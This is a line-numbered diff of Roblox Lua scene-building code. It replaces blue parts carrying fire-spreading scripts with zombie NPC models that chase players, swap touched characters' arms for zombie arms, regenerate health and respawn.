Script397 = Instance.new("Script")
417-
Fire398 = Instance.new("Fire")
417+
Script398 = Instance.new("Script")
418
Script399 = Instance.new("Script")
419
Part400 = Instance.new("Part")
420-
SpecialMesh401 = Instance.new("SpecialMesh")
420+
Decal401 = Instance.new("Decal")
421-
BodyForce402 = Instance.new("BodyForce")
421+
422-
Fire403 = Instance.new("Fire")
422+
Model1.Parent = Model0
423-
Script404 = Instance.new("Script")
423+
Model2.Name = "Zombie"
424-
Part405 = Instance.new("Part")
424+
Model2.Parent = Model1
425-
BodyForce406 = Instance.new("BodyForce")
425+
Model2.PrimaryPart = Part3
426-
Fire407 = Instance.new("Fire")
426+
Part3.Name = "Head"
427-
Script408 = Instance.new("Script")
427+
Part3.Parent = Model2
428-
Script409 = Instance.new("Script")
428+
Part3.CFrame = CFrame.new(201.591461, 6.09995508, 229.48645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
429-
RotateP410 = Instance.new("RotateP")
429+
Part3.Orientation = Vector3.new(0, 90, 0)
430-
RotateP411 = Instance.new("RotateP")
430+
Part3.Position = Vector3.new(201.591461, 6.09995508, 229.48645)
431-
RotateP412 = Instance.new("RotateP")
431+
Part3.Rotation = Vector3.new(0, 90, 0)
432-
RotateP413 = Instance.new("RotateP")
432+
Part3.Color = Color3.new(0.631373, 0.768628, 0.54902)
433-
RotateP414 = Instance.new("RotateP")
433+
Part3.Size = Vector3.new(2, 1, 1)
434-
RotateP415 = Instance.new("RotateP")
434+
Part3.BrickColor = BrickColor.new("Medium green")
435-
RotateP416 = Instance.new("RotateP")
435+
Part3.TopSurface = Enum.SurfaceType.Smooth
436-
RotateP417 = Instance.new("RotateP")
436+
Part3.brickColor = BrickColor.new("Medium green")
437-
RotateP418 = Instance.new("RotateP")
437+
Part3.FormFactor = Enum.FormFactor.Symmetric
438-
RotateP419 = Instance.new("RotateP")
438+
Part3.formFactor = Enum.FormFactor.Symmetric
439-
RotateP420 = Instance.new("RotateP")
439+
SpecialMesh4.Parent = Part3
440-
RotateP421 = Instance.new("RotateP")
440+
SpecialMesh4.Scale = Vector3.new(1.25, 1.25, 1.25)
441-
RotateP422 = Instance.new("RotateP")
441+
Decal5.Name = "face"
442-
RotateP423 = Instance.new("RotateP")
442+
Decal5.Parent = Part3
443-
RotateP424 = Instance.new("RotateP")
443+
Part6.Name = "Torso"
444-
RotateP425 = Instance.new("RotateP")
444+
Part6.Parent = Model2
445-
RotateP426 = Instance.new("RotateP")
445+
Part6.CFrame = CFrame.new(201.591461, 4.59995508, 229.48645, 0, 0, 1.00000024, 0, 1, 0, -1.00000024, 0, 0)
446-
RotateP427 = Instance.new("RotateP")
446+
Part6.Orientation = Vector3.new(0, 90, 0)
447-
RotateP428 = Instance.new("RotateP")
447+
Part6.Position = Vector3.new(201.591461, 4.59995508, 229.48645)
448-
RotateP429 = Instance.new("RotateP")
448+
Part6.Rotation = Vector3.new(0, 90, 0)
449-
RotateP430 = Instance.new("RotateP")
449+
Part6.Color = Color3.new(0.411765, 0.25098, 0.156863)
450-
RotateP431 = Instance.new("RotateP")
450+
Part6.Size = Vector3.new(2, 2, 1)
451-
RotateP432 = Instance.new("RotateP")
451+
Part6.BrickColor = BrickColor.new("Reddish brown")
452-
RotateP433 = Instance.new("RotateP")
452+
Part6.LeftParamA = 0
453-
RotateP434 = Instance.new("RotateP")
453+
Part6.LeftParamB = 0
454-
RotateP435 = Instance.new("RotateP")
454+
Part6.LeftSurface = Enum.SurfaceType.Weld
455-
RotateP436 = Instance.new("RotateP")
455+
Part6.RightParamA = 0
456-
RotateV437 = Instance.new("RotateV")
456+
Part6.RightParamB = 0
457-
VelocityMotor438 = Instance.new("VelocityMotor")
457+
Part6.RightSurface = Enum.SurfaceType.Weld
458-
RotateP439 = Instance.new("RotateP")
458+
Part6.brickColor = BrickColor.new("Reddish brown")
459-
RotateP440 = Instance.new("RotateP")
459+
Part6.FormFactor = Enum.FormFactor.Symmetric
460-
Part441 = Instance.new("Part")
460+
Part6.formFactor = Enum.FormFactor.Symmetric
461-
Script442 = Instance.new("Script")
461+
Part7.Name = "Left Leg"
462-
Decal443 = Instance.new("Decal")
462+
Part7.Parent = Model2
463-
Decal444 = Instance.new("Decal")
463+
Part7.CFrame = CFrame.new(201.591461, 2.59995508, 229.98645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
464-
Fire445 = Instance.new("Fire")
464+
Part7.Orientation = Vector3.new(0, 90, 0)
465-
Script446 = Instance.new("Script")
465+
Part7.Position = Vector3.new(201.591461, 2.59995508, 229.98645)
466-
Decal447 = Instance.new("Decal")
466+
Part7.Rotation = Vector3.new(0, 90, 0)
467-
Decal448 = Instance.new("Decal")
467+
Part7.Color = Color3.new(0.411765, 0.25098, 0.156863)
468-
Part449 = Instance.new("Part")
468+
Part7.Size = Vector3.new(1, 2, 1)
469-
Fire450 = Instance.new("Fire")
469+
470-
Script451 = Instance.new("Script")
470+
Part7.BrickColor = BrickColor.new("Reddish brown")
471-
Part452 = Instance.new("Part")
471+
Part7.CanCollide = false
472-
Fire453 = Instance.new("Fire")
472+
Part7.brickColor = BrickColor.new("Reddish brown")
473-
Script454 = Instance.new("Script")
473+
Part7.FormFactor = Enum.FormFactor.Symmetric
474-
Part455 = Instance.new("Part")
474+
Part7.formFactor = Enum.FormFactor.Symmetric
475-
Fire456 = Instance.new("Fire")
475+
Part8.Name = "Right Leg"
476-
Script457 = Instance.new("Script")
476+
Part8.Parent = Model2
477-
Part458 = Instance.new("Part")
477+
Part8.CFrame = CFrame.new(201.591461, 2.59995508, 228.98645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
478-
Fire459 = Instance.new("Fire")
478+
Part8.Orientation = Vector3.new(0, 90, 0)
479-
Script460 = Instance.new("Script")
479+
Part8.Position = Vector3.new(201.591461, 2.59995508, 228.98645)
480-
Part461 = Instance.new("Part")
480+
Part8.Rotation = Vector3.new(0, 90, 0)
481-
Fire462 = Instance.new("Fire")
481+
Part8.Color = Color3.new(0.411765, 0.25098, 0.156863)
482-
Script463 = Instance.new("Script")
482+
Part8.Size = Vector3.new(1, 2, 1)
483-
Part464 = Instance.new("Part")
483+
Part8.BottomSurface = Enum.SurfaceType.Smooth
484-
Fire465 = Instance.new("Fire")
484+
Part8.BrickColor = BrickColor.new("Reddish brown")
485-
Script466 = Instance.new("Script")
485+
Part8.CanCollide = false
486-
Part467 = Instance.new("Part")
486+
Part8.brickColor = BrickColor.new("Reddish brown")
487-
Fire468 = Instance.new("Fire")
487+
Part8.FormFactor = Enum.FormFactor.Symmetric
488-
Script469 = Instance.new("Script")
488+
Part8.formFactor = Enum.FormFactor.Symmetric
489-
Part470 = Instance.new("Part")
489+
Humanoid9.Parent = Model2
490-
Fire471 = Instance.new("Fire")
490+
Humanoid9.LeftLeg = Part7
491-
Script472 = Instance.new("Script")
491+
Humanoid9.NameOcclusion = Enum.NameOcclusion.NoOcclusion
492-
Part473 = Instance.new("Part")
492+
Humanoid9.RightLeg = Part8
493-
Fire474 = Instance.new("Fire")
493+
Humanoid9.Torso = Part6
494-
Script475 = Instance.new("Script")
494+
Part10.Name = "zarm"
495-
WedgePart476 = Instance.new("WedgePart")
495+
Part10.Parent = Model2
496-
Fire477 = Instance.new("Fire")
496+
Part10.CFrame = CFrame.new(201.091461, 5.09995508, 230.98645, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
497-
Script478 = Instance.new("Script")
497+
Part10.Orientation = Vector3.new(0, 180, 0)
498-
Model479 = Instance.new("Model")
498+
Part10.Position = Vector3.new(201.091461, 5.09995508, 230.98645)
499-
Model480 = Instance.new("Model")
499+
Part10.Rotation = Vector3.new(-180, 0, -180)
500-
Part481 = Instance.new("Part")
500+
Part10.Color = Color3.new(0.631373, 0.768628, 0.54902)
501-
SpecialMesh482 = Instance.new("SpecialMesh")
501+
Part10.Size = Vector3.new(2, 1, 1)
502-
Part483 = Instance.new("Part")
502+
Part10.BottomSurface = Enum.SurfaceType.Smooth
503-
Part484 = Instance.new("Part")
503+
Part10.BrickColor = BrickColor.new("Medium green")
504-
SpecialMesh485 = Instance.new("SpecialMesh")
504+
505-
Seat486 = Instance.new("Seat")
505+
Part10.brickColor = BrickColor.new("Medium green")
506-
Part487 = Instance.new("Part")
506+
Part10.FormFactor = Enum.FormFactor.Symmetric
507-
Part488 = Instance.new("Part")
507+
Part10.formFactor = Enum.FormFactor.Symmetric
508-
SpecialMesh489 = Instance.new("SpecialMesh")
508+
Script11.Parent = Part10
509-
Part490 = Instance.new("Part")
509+
table.insert(cors,sandbox(Script11,function()
510-
Part491 = Instance.new("Part")
510+
wait(1)
511-
Part492 = Instance.new("Part")
511+
owner=script.Parent.Parent.Name
512-
Part493 = Instance.new("Part")
512+
513-
Part494 = Instance.new("Part")
513+
function onTouched(part)
514-
SpecialMesh495 = Instance.new("SpecialMesh")
514+
	if part.Parent ~= nil then
515-
Part496 = Instance.new("Part")
515+
		local h = part.Parent:findFirstChild("Humanoid")
516-
Part497 = Instance.new("Part")
516+
			if h~=nil then
517-
Part498 = Instance.new("Part")
517+
				if cantouch~=0 then
518-
Part499 = Instance.new("Part")
518+
					if h.Parent.Name~=owner then
519-
Part500 = Instance.new("Part")
519+
						
520-
Part501 = Instance.new("Part")
520+
						if h.Parent:findFirstChild("zarm")~=nil then return end
521-
Part502 = Instance.new("Part")
521+
522-
VehicleSeat503 = Instance.new("VehicleSeat")
522+
						cantouch=0
523-
Part504 = Instance.new("Part")
523+
524-
Seat505 = Instance.new("Seat")
524+
						local larm=h.Parent:findFirstChild("Left Arm")
525-
Part506 = Instance.new("Part")
525+
						local rarm=h.Parent:findFirstChild("Right Arm")
526-
Part507 = Instance.new("Part")
526+
						
527-
SpecialMesh508 = Instance.new("SpecialMesh")
527+
						if larm~=nil then
528-
Part509 = Instance.new("Part")
528+
							larm:remove()
529-
Part510 = Instance.new("Part")
529+
						end
530-
Part511 = Instance.new("Part")
530+
						if rarm~=nil then
531-
SpecialMesh512 = Instance.new("SpecialMesh")
531+
							rarm:remove()
532-
Part513 = Instance.new("Part")
532+
						end
533-
SpecialMesh514 = Instance.new("SpecialMesh")
533+
						local zee=script.Parent.Parent:findFirstChild("zarm")
534-
Part515 = Instance.new("Part")
534+
						if zee~=nil then
535-
Part516 = Instance.new("Part")
535+
							local zlarm=zee:clone()
536-
SpecialMesh517 = Instance.new("SpecialMesh")
536+
							local zrarm=zee:clone()
537-
Part518 = Instance.new("Part")
537+
							if zlarm~=nil then
538-
Part519 = Instance.new("Part")
538+
539-
SpecialMesh520 = Instance.new("SpecialMesh")
539+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
540-
Part521 = Instance.new("Part")
540+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
541-
SpecialMesh522 = Instance.new("SpecialMesh")
541+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
542-
Part523 = Instance.new("Part")
542+
								zlarm.Parent=h.Parent
543-
SpecialMesh524 = Instance.new("SpecialMesh")
543+
								zrarm.Parent=h.Parent
544-
Part525 = Instance.new("Part")
544+
								zlarm:makeJoints()
545-
Part526 = Instance.new("Part")
545+
								zrarm:makeJoints()
546-
SpecialMesh527 = Instance.new("SpecialMesh")
546+
								zlarm.Anchored=false
547-
Part528 = Instance.new("Part")
547+
								zrarm.Anchored=false
548-
Part529 = Instance.new("Part")
548+
								wait(0.1)
549-
Part530 = Instance.new("Part")
549+
								h.Parent.Head.Color=zee.Color
550-
Part531 = Instance.new("Part")
550+
							else print("no zee"); return end
551-
SpecialMesh532 = Instance.new("SpecialMesh")
551+
						end
552-
Part533 = Instance.new("Part")
552+
						wait(1)
553-
Part534 = Instance.new("Part")
553+
						cantouch=1
554-
SpecialMesh535 = Instance.new("SpecialMesh")
554+
					end
555-
Part536 = Instance.new("Part")
555+
				end
556-
Part537 = Instance.new("Part")
556+
557-
Part538 = Instance.new("Part")
557+
558-
SpecialMesh539 = Instance.new("SpecialMesh")
558+
559-
Part540 = Instance.new("Part")
559+
560-
Script541 = Instance.new("Script")
560+
561-
Part542 = Instance.new("Part")
561+
562-
Fire543 = Instance.new("Fire")
562+
Part12.Name = "zarm"
563-
Script544 = Instance.new("Script")
563+
Part12.Parent = Model2
564
Part12.CFrame = CFrame.new(201.091461, 5.09995508, 227.98645, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
565-
Part1.Parent = Model0
565+
Part12.Orientation = Vector3.new(0, 180, 0)
566-
Part1.CFrame = CFrame.new(156.003906, 49.7681274, 220, 0.99999994, -1.67099552e-05, -5.96046448e-08, 1.67099552e-05, 1, 4.25150893e-06, 5.96046448e-08, -4.25150893e-06, 0.99999994)
566+
Part12.Position = Vector3.new(201.091461, 5.09995508, 227.98645)
567-
Part1.Position = Vector3.new(156.003906, 49.7681274, 220)
567+
Part12.Rotation = Vector3.new(-180, 0, -180)
568-
Part1.Color = Color3.new(0.0509804, 0.411765, 0.67451)
568+
Part12.Color = Color3.new(0.631373, 0.768628, 0.54902)
569-
Part1.Size = Vector3.new(2, 3.60000014, 2)
569+
Part12.Size = Vector3.new(2, 1, 1)
570-
Part1.Anchored = true
570+
Part12.BottomSurface = Enum.SurfaceType.Smooth
571-
Part1.BrickColor = BrickColor.new("Bright blue")
571+
Part12.BrickColor = BrickColor.new("Medium green")
572-
Part1.TopSurface = Enum.SurfaceType.Smooth
572+
Part12.TopSurface = Enum.SurfaceType.Smooth
573-
Part1.brickColor = BrickColor.new("Bright blue")
573+
Part12.brickColor = BrickColor.new("Medium green")
574-
Fire2.Parent = Part1
574+
Part12.FormFactor = Enum.FormFactor.Symmetric
575-
Fire2.Color = Color3.new(1, 0.745098, 0)
575+
Part12.formFactor = Enum.FormFactor.Symmetric
576-
Fire2.Enabled = false
576+
Script13.Parent = Part12
577-
Fire2.Size = 30
577+
578-
Fire2.Heat = 25
578+
wait(1)
579-
Fire2.SecondaryColor = Color3.new(1, 0, 0)
579+
owner=script.Parent.Parent.Name
580-
Fire2.size = 30
580+
581-
Script3.Parent = Fire2
581+
function onTouched(part)
582-
table.insert(cors,sandbox(Script3,function()
582+
	if part.Parent ~= nil then
583-
function Spread(part)
583+
		local h = part.Parent:findFirstChild("Humanoid")
584-
	check = part:findFirstChild("Fire")
584+
			if h~=nil then
585-
		if check == nil then 
585+
				if cantouch~=0 then
586-
	script.Parent:Clone().Parent = part
586+
					if h.Parent.Name~=owner then
587-
	
587+
						
588-
		elseif check ~= nil then
588+
						if h.Parent:findFirstChild("zarm")~=nil then return end
589-
	check.Size = check.Size + 1
589+
590-
	check.Heat = check.Heat  +1
590+
						cantouch=0
591
592
						local larm=h.Parent:findFirstChild("Left Arm")
593
						local rarm=h.Parent:findFirstChild("Right Arm")
594
						
595-
script.Parent.Parent.Touched:connect(Spread)
595+
						if larm~=nil then
596
							larm:remove()
597
						end
598
						if rarm~=nil then
599-
Part4.Parent = Model0
599+
							rarm:remove()
600-
Part4.CFrame = CFrame.new(155.977539, 44.9747086, 229.98999, 0.00304764719, -1.39223388e-07, -0.999995351, 1.11518602e-05, 1, -1.05236936e-07, 0.999995351, -1.11514873e-05, 0.00304764719)
600+
						end
601-
Part4.Orientation = Vector3.new(0, -89.8299942, 0)
601+
						local zee=script.Parent.Parent:findFirstChild("zarm")
602-
Part4.Position = Vector3.new(155.977539, 44.9747086, 229.98999)
602+
						if zee~=nil then
603-
Part4.Rotation = Vector3.new(0, -89.8299942, 0)
603+
							local zlarm=zee:clone()
604-
Part4.Color = Color3.new(0.0509804, 0.411765, 0.67451)
604+
							local zrarm=zee:clone()
605-
Part4.Velocity = Vector3.new(-0.00118601369, -0.00318280514, -0.00262815855)
605+
							if zlarm~=nil then
606-
Part4.Size = Vector3.new(18, 6, 2)
606+
607-
Part4.Anchored = true
607+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
608-
Part4.BottomSurface = Enum.SurfaceType.Smooth
608+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
609-
Part4.BrickColor = BrickColor.new("Bright blue")
609+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
610-
Part4.RotVelocity = Vector3.new(-0.000249337929, -0.00091800926, 8.6167267e-05)
610+
								zlarm.Parent=h.Parent
611-
Part4.TopSurface = Enum.SurfaceType.Smooth
611+
								zrarm.Parent=h.Parent
612-
Part4.brickColor = BrickColor.new("Bright blue")
612+
								zlarm:makeJoints()
613-
Fire5.Parent = Part4
613+
								zrarm:makeJoints()
614-
Fire5.Color = Color3.new(1, 0.745098, 0)
614+
								zlarm.Anchored=false
615-
Fire5.Enabled = false
615+
								zrarm.Anchored=false
616-
Fire5.Size = 30
616+
								wait(0.1)
617-
Fire5.Heat = 25
617+
								h.Parent.Head.Color=zee.Color
618-
Fire5.SecondaryColor = Color3.new(1, 0, 0)
618+
							else print("no zee"); return end
619-
Fire5.size = 30
619+
						end
620-
Script6.Parent = Fire5
620+
						wait(1)
621-
table.insert(cors,sandbox(Script6,function()
621+
						cantouch=1
622-
function Spread(part)
622+
					end
623-
	check = part:findFirstChild("Fire")
623+
				end
624-
		if check == nil then 
624+
625-
	script.Parent:Clone().Parent = part
625+
626-
	
626+
627-
		elseif check ~= nil then
627+
628-
	check.Size = check.Size + 1
628+
629-
	check.Heat = check.Heat  +1
629+
630
ObjectValue14.Name = "IsNZ"
631
ObjectValue14.Parent = Model2
632
IntValue15.Name = "Mode"
633
IntValue15.Parent = Model2
634-
script.Parent.Parent.Touched:connect(Spread)
634+
Script16.Parent = Model2
635
table.insert(cors,sandbox(Script16,function()
636
local larm = script.Parent:FindFirstChild("Left Arm")
637
local rarm = script.Parent:FindFirstChild("Right Arm")
638-
Part7.Parent = Model0
638+
639-
Part7.CFrame = CFrame.new(165.00293, 52.204422, 230, -7.23991188e-20, 0, -1, 8.15896525e-19, 1, 0, 1, -8.15896525e-19, -7.23991059e-20)
639+
function findNearestTorso(pos)
640-
Part7.Orientation = Vector3.new(0, -90, 0)
640+
	local list = game.Workspace:children()
641-
Part7.Position = Vector3.new(165.00293, 52.204422, 230)
641+
	local torso = nil
642-
Part7.Rotation = Vector3.new(0, -90, 0)
642+
	local dist = 1000
643-
Part7.Color = Color3.new(0.0509804, 0.411765, 0.67451)
643+
	local temp = nil
644-
Part7.Size = Vector3.new(22, 1.20000005, 20)
644+
	local human = nil
645-
Part7.Anchored = true
645+
	local temp2 = nil
646
	for x = 1, #list do
647-
Part7.BrickColor = BrickColor.new("Bright blue")
647+
		temp2 = list[x]
648-
Part7.TopSurface = Enum.SurfaceType.Smooth
648+
		if (temp2.className == "Model") and (temp2 ~= script.Parent) then
649-
Part7.brickColor = BrickColor.new("Bright blue")
649+
			temp = temp2:findFirstChild("Right Arm")
650-
Fire8.Parent = Part7
650+
			human = temp2:findFirstChild("Humanoid")
651-
Fire8.Color = Color3.new(1, 0.745098, 0)
651+
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
652-
Fire8.Enabled = false
652+
				if (temp.Position - pos).magnitude < dist then
653-
Fire8.Size = 30
653+
					torso = temp
654-
Fire8.Heat = 25
654+
					dist = (temp.Position - pos).magnitude
655-
Fire8.SecondaryColor = Color3.new(1, 0, 0)
655+
				end
656-
Fire8.size = 30
656+
657-
Script9.Parent = Fire8
657+
658-
table.insert(cors,sandbox(Script9,function()
658+
659-
function Spread(part)
659+
	return torso
660-
	check = part:findFirstChild("Fire")
660+
661-
		if check == nil then 
661+
662-
	script.Parent:Clone().Parent = part
662+
663-
	
663+
664-
		elseif check ~= nil then
664+
665-
	check.Size = check.Size + 1
665+
666-
	check.Heat = check.Heat  +1
666+
	wait(math.random(1,5))
667
	local target = findNearestTorso(script.Parent.Torso.Position)
668
	if target ~= nil then
669
		script.Parent.Humanoid:MoveTo(target.Position, target)
670
	end
671-
script.Parent.Parent.Touched:connect(Spread)
671+
672
end
673
674
end))
675-
Part10.Parent = Model0
675+
Script17.Name = "Health"
676-
Part10.CFrame = CFrame.new(156, 49.8000374, 240, 0, 0, -1, 0, 1, -0, 1, 0, -0)
676+
Script17.Parent = Model2
677-
Part10.Orientation = Vector3.new(0, -90, 0)
677+
table.insert(cors,sandbox(Script17,function()
678-
Part10.Position = Vector3.new(156, 49.8000374, 240)
678+
function waitForChild(parent, childName)
679-
Part10.Rotation = Vector3.new(0, -90, 0)
679+
	while true do
680-
Part10.Color = Color3.new(0.0509804, 0.411765, 0.67451)
680+
		local child = parent:findFirstChild(childName)
681-
Part10.Size = Vector3.new(2, 3.60000014, 2)
681+
		if child then
682-
Part10.Anchored = true
682+
683-
Part10.BrickColor = BrickColor.new("Bright blue")
683+
684
		parent.ChildAdded:wait()
685-
Part10.brickColor = BrickColor.new("Bright blue")
685+
686-
Part11.Parent = Model0
686+
687-
Part11.CFrame = CFrame.new(163.001953, 44.9742966, 235.5, -1.05759079e-23, -1.51235096e-18, -1, 8.15896525e-19, 1, -1.51235096e-18, 1, -8.15896525e-19, -1.05759079e-23)
687+
688-
Part11.Orientation = Vector3.new(0, -90, 0)
688+
-- declarations
689-
Part11.Position = Vector3.new(163.001953, 44.9742966, 235.5)
689+
690-
Part11.Rotation = Vector3.new(0, -90, 0)
690+
local Figure = script.Parent
691-
Part11.Color = Color3.new(0.388235, 0.372549, 0.384314)
691+
local Head = waitForChild(Figure, "Head")
692-
Part11.Size = Vector3.new(7, 1.20000005, 12)
692+
local Humanoid = waitForChild(Figure, "Humanoid")
693-
Part11.Anchored = true
693+
Humanoid.Health=500
694-
Part11.BottomSurface = Enum.SurfaceType.Smooth
694+
-- regeneration
695-
Part11.BrickColor = BrickColor.new("Dark stone grey")
695+
696-
Part11.TopSurface = Enum.SurfaceType.Smooth
696+
	local s = wait(4)
697-
Part11.brickColor = BrickColor.new("Dark stone grey")
697+
	local health = Humanoid.Health
698-
Fire12.Parent = Part11
698+
	if health > 0 and health < Humanoid.MaxHealth then
699-
Fire12.Color = Color3.new(1, 0.745098, 0)
699+
		health = health + 0.08 * s * Humanoid.MaxHealth
700-
Fire12.Enabled = false
700+
		if health * 1.05 < Humanoid.MaxHealth then
701-
Fire12.Size = 30
701+
			Humanoid.Health = health
702-
Fire12.Heat = 25
702+
		else
703-
Fire12.SecondaryColor = Color3.new(1, 0, 0)
703+
			Humanoid.Health = Humanoid.MaxHealth
704-
Fire12.size = 30
704+
705-
Script13.Parent = Fire12
705+
706
end
707-
function Spread(part)
707+
708-
	check = part:findFirstChild("Fire")
708+
709-
		if check == nil then 
709+
Script18.Name = "Respawn"
710-
	script.Parent:Clone().Parent = part
710+
Script18.Parent = Model2
711-
	
711+
table.insert(cors,sandbox(Script18,function()
712-
		elseif check ~= nil then
712+
name="Humanoid"
713-
	check.Size = check.Size + 1
713+
714-
	check.Heat = check.Heat  +1
714+
robo=script.Parent:clone()
715
716
while true do
717
	wait(1)
718
	if script.Parent.Humanoid.Health<1 then
719-
script.Parent.Parent.Touched:connect(Spread)
719+
		robot=robo:clone()
720
		robot.Parent=script.Parent.Parent
721
		robot:makeJoints()
722
		script.Parent:remove()
723-
Part14.Parent = Model0
723+
724-
Part14.CFrame = CFrame.new(174, 49.8000374, 230, 0, 0, -1, 0, 1, -0, 1, 0, -0)
724+
725-
Part14.Orientation = Vector3.new(0, -90, 0)
725+
726-
Part14.Position = Vector3.new(174, 49.8000374, 230)
726+
727-
Part14.Rotation = Vector3.new(0, -90, 0)
727+
728-
Part14.Color = Color3.new(0.0509804, 0.411765, 0.67451)
728+
729-
Part14.Size = Vector3.new(22, 3.60000014, 2)
729+
730-
Part14.Anchored = true
730+
Part19.Name = "Spawn Location"
731-
Part14.BrickColor = BrickColor.new("Bright blue")
731+
Part19.Parent = Model1
732-
Part14.TopSurface = Enum.SurfaceType.Smooth
732+
Part19.CFrame = CFrame.new(201.113556, 0.603015006, 229.491455, -1.00000024, 0, 0, 0, 1, 0, 0, 0, -1.00000024)
733-
Part14.brickColor = BrickColor.new("Bright blue")
733+
Part19.Orientation = Vector3.new(0, 180, 0)
734-
Fire15.Parent = Part14
734+
Part19.Position = Vector3.new(201.113556, 0.603015006, 229.491455)
735-
Fire15.Color = Color3.new(1, 0.745098, 0)
735+
Part19.Rotation = Vector3.new(-180, 0, -180)
736-
Fire15.Enabled = false
736+
Part19.Color = Color3.new(0.631373, 0.768628, 0.54902)
737-
Fire15.Size = 30
737+
Part19.Size = Vector3.new(6, 1.20000005, 6)
738-
Fire15.Heat = 25
738+
Part19.BottomSurface = Enum.SurfaceType.Weld
739-
Fire15.SecondaryColor = Color3.new(1, 0, 0)
739+
Part19.BrickColor = BrickColor.new("Medium green")
740-
Fire15.size = 30
740+
Part19.TopSurface = Enum.SurfaceType.Smooth
741-
Script16.Parent = Fire15
741+
Part19.brickColor = BrickColor.new("Medium green")
742
Decal20.Parent = Part19
743-
function Spread(part)
743+
Decal20.Texture = "http://www.roblox.com/asset/?id=34541722"
744-
	check = part:findFirstChild("Fire")
744+
Decal20.Face = Enum.NormalId.Top
745-
		if check == nil then 
745+
Model21.Parent = Model0
746-
	script.Parent:Clone().Parent = part
746+
Model22.Name = "Zombie"
747-
	
747+
Model22.Parent = Model21
748-
		elseif check ~= nil then
748+
Model22.PrimaryPart = Part23
749-
	check.Size = check.Size + 1
749+
Part23.Name = "Head"
750-
	check.Heat = check.Heat  +1
750+
Part23.Parent = Model22
751
Part23.CFrame = CFrame.new(201.591461, 6.09995508, 223.48645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
752
Part23.Orientation = Vector3.new(0, 90, 0)
753
Part23.Position = Vector3.new(201.591461, 6.09995508, 223.48645)
754
Part23.Rotation = Vector3.new(0, 90, 0)
755-
script.Parent.Parent.Touched:connect(Spread)
755+
Part23.Color = Color3.new(0.631373, 0.768628, 0.54902)
756
Part23.Size = Vector3.new(2, 1, 1)
757
Part23.BrickColor = BrickColor.new("Medium green")
758
Part23.TopSurface = Enum.SurfaceType.Smooth
759-
Part17.Parent = Model0
759+
Part23.brickColor = BrickColor.new("Medium green")
760-
Part17.CFrame = CFrame.new(165.001953, 44.9844437, 226.5, 0, 0, -1, 0, 1, 0, 1, 0, 0)
760+
Part23.FormFactor = Enum.FormFactor.Symmetric
761-
Part17.Orientation = Vector3.new(0, -90, 0)
761+
Part23.formFactor = Enum.FormFactor.Symmetric
762-
Part17.Position = Vector3.new(165.001953, 44.9844437, 226.5)
762+
SpecialMesh24.Parent = Part23
763-
Part17.Rotation = Vector3.new(0, -90, 0)
763+
SpecialMesh24.Scale = Vector3.new(1.25, 1.25, 1.25)
764-
Part17.Color = Color3.new(0.388235, 0.372549, 0.384314)
764+
Decal25.Name = "face"
765-
Part17.Size = Vector3.new(11, 1.20000005, 16)
765+
Decal25.Parent = Part23
766-
Part17.Anchored = true
766+
Part26.Name = "Torso"
767-
Part17.BottomSurface = Enum.SurfaceType.Smooth
767+
Part26.Parent = Model22
768-
Part17.BrickColor = BrickColor.new("Dark stone grey")
768+
Part26.CFrame = CFrame.new(201.591461, 4.59995508, 223.48645, 0, 0, 1.00000024, 0, 1, 0, -1.00000024, 0, 0)
769-
Part17.TopSurface = Enum.SurfaceType.Smooth
769+
Part26.Orientation = Vector3.new(0, 90, 0)
770-
Part17.brickColor = BrickColor.new("Dark stone grey")
770+
Part26.Position = Vector3.new(201.591461, 4.59995508, 223.48645)
771-
Fire18.Parent = Part17
771+
Part26.Rotation = Vector3.new(0, 90, 0)
772-
Fire18.Color = Color3.new(1, 0.745098, 0)
772+
Part26.Color = Color3.new(0.411765, 0.25098, 0.156863)
773-
Fire18.Enabled = false
773+
Part26.Size = Vector3.new(2, 2, 1)
774-
Fire18.Size = 30
774+
Part26.BrickColor = BrickColor.new("Reddish brown")
775-
Fire18.Heat = 25
775+
Part26.LeftParamA = 0
776-
Fire18.SecondaryColor = Color3.new(1, 0, 0)
776+
Part26.LeftParamB = 0
777-
Fire18.size = 30
777+
Part26.LeftSurface = Enum.SurfaceType.Weld
778-
Script19.Parent = Fire18
778+
Part26.RightParamA = 0
779-
table.insert(cors,sandbox(Script19,function()
779+
Part26.RightParamB = 0
780-
function Spread(part)
780+
Part26.RightSurface = Enum.SurfaceType.Weld
781-
	check = part:findFirstChild("Fire")
781+
Part26.brickColor = BrickColor.new("Reddish brown")
782-
		if check == nil then 
782+
Part26.FormFactor = Enum.FormFactor.Symmetric
783-
	script.Parent:Clone().Parent = part
783+
Part26.formFactor = Enum.FormFactor.Symmetric
784-
	
784+
Part27.Name = "Left Leg"
785-
		elseif check ~= nil then
785+
Part27.Parent = Model22
786-
	check.Size = check.Size + 1
786+
Part27.CFrame = CFrame.new(201.591461, 2.59995508, 223.98645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
787-
	check.Heat = check.Heat  +1
787+
Part27.Orientation = Vector3.new(0, 90, 0)
788
Part27.Position = Vector3.new(201.591461, 2.59995508, 223.98645)
789
Part27.Rotation = Vector3.new(0, 90, 0)
790
Part27.Color = Color3.new(0.411765, 0.25098, 0.156863)
791
Part27.Size = Vector3.new(1, 2, 1)
792-
script.Parent.Parent.Touched:connect(Spread)
792+
Part27.BottomSurface = Enum.SurfaceType.Smooth
793
Part27.BrickColor = BrickColor.new("Reddish brown")
794
Part27.CanCollide = false
795
Part27.brickColor = BrickColor.new("Reddish brown")
796-
Part20.Parent = Model0
796+
